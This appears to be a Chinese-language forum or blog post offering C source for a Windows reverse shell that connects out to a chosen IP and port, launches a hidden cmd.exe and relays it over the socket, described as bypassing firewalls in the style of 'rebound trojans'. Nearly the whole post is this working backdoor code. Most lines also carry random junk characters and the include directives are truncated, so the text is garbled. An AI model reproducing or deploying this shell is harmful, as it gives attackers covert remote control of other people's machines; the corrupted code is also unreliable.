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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1 \Z/}FT  
9/JB n  
/* ============================== X$*]$Ge>  
Rebound port in Windows NT K/0Wp %  
By wind,2006/7 L./{^)  
===============================*/ ML.|\:r*  
#include Nj{;  
#include 9~{,Hj1xE  
zG)vmysJf  
#pragma comment(lib,"wsock32.lib") aen0XiB6~^  
n.=Zw2FE  
void OutputShell(); ]oLyvG  
SOCKET sClient;  a"D'QqtH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8osP$"/o  
)%09j0y>l"  
void main(int argc,char **argv) 'Pe;Tp>`  
{ no(or5UJ  
WSADATA stWsaData; @~bP|a  
int nRet; :3[;9xCHj  
SOCKADDR_IN stSaiClient,stSaiServer;  }=d}q *  
cHC4Y&&uZ  
if(argc != 3) mLfY^&2Pr  
{ @=6oB3tQA  
printf("Useage:\n\rRebound DestIP DestPort\n"); bT^(D^  
return; ^B!()39R?  
} _+OCI%=:  
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WSAStartup(MAKEWORD(2,2),&stWsaData); iu.Jp92  
!j/54,  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -TS5g1  
,AH2/^:%c  
stSaiClient.sin_family = AF_INET; q[(1zG%NbA  
stSaiClient.sin_port = htons(0); 05Q4$P  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); biPj(Dd  
+DaKP)H\:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^<3{0g-"AW  
{ 2B"tT"f  
printf("Bind Socket Failed!\n"); *j<{3$6Ii  
return; ?}U?Q7vx@@  
} w:ASB>,!  
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stSaiServer.sin_family = AF_INET; B'I_i$g4w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  (duR1Dz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kqjj&{vPFJ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -<:w{cV  
{ 85USMPF  
printf("Connect Error!"); *D67&/g.  
return; A 8g_BLj!e  
} qJE_4/<^!  
OutputShell(); Sx1|Oq]  
} <cxe   
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void OutputShell() )J?8"+_Y  
{ ]X> I(p@  
char szBuff[1024]; BO2s(8  
SECURITY_ATTRIBUTES stSecurityAttributes; R$`%<Y3)  
OSVERSIONINFO stOsversionInfo; rX0 ?m:&m  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R'pfA B|!  
STARTUPINFO stStartupInfo; M+I9k;N6&  
char *szShell; ~~@dbB  
PROCESS_INFORMATION stProcessInformation; _WZ{i,  
unsigned long lBytesRead; sR^b_/ElxT  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #jsN  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4X!4S6JfB  
stSecurityAttributes.lpSecurityDescriptor = 0; tt|P-p-  
stSecurityAttributes.bInheritHandle = TRUE; -qBdcbi|x)  
-s0\4  
> Edsanx  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 86>@.:d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fmD~f  
cG&@PO]+.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B4*uS (  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,~/WYw<o  
stStartupInfo.wShowWindow = SW_HIDE; _ ^'QHWP  
stStartupInfo.hStdInput = hReadPipe; ilyF1=bp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nd$92H  
luW"|  
GetVersionEx(&stOsversionInfo); /|3~LvIt=  
KWM.e1(  
switch(stOsversionInfo.dwPlatformId) 3Kc9*]D  
{ y\,,hs  
case 1: zK>m4+)~  
szShell = "command.com"; CM7NdK?I  
break; \58bz<u"  
default: U "r)C;5  
szShell = "cmd.exe"; ss6{+@,  
break; ky&wv+7  
} bk&kZI.D  
#=)!\   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lI~8[[$xd  
V5p^]To!  
send(sClient,szMsg,77,0); K{,'%|  
while(1) j3H_g ^  
{ z]KJ4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s>W :vV@  
if(lBytesRead) *U}-Y*  
{ eSHsE 3}h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {|<yZ,,p  
send(sClient,szBuff,lBytesRead,0); xel|,|*Yq  
} 5V~vND* s  
else 'h^Ya?g  
{ 4>HaKJ-c#  
lBytesRead=recv(sClient,szBuff,1024,0); JLz32 %-M  
if(lBytesRead<=0) break; a:OMI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n^b CrvD  
} \RtFF  
} V(:wYk?ZR  
22;B:  
return; +o'xyR'(  
}
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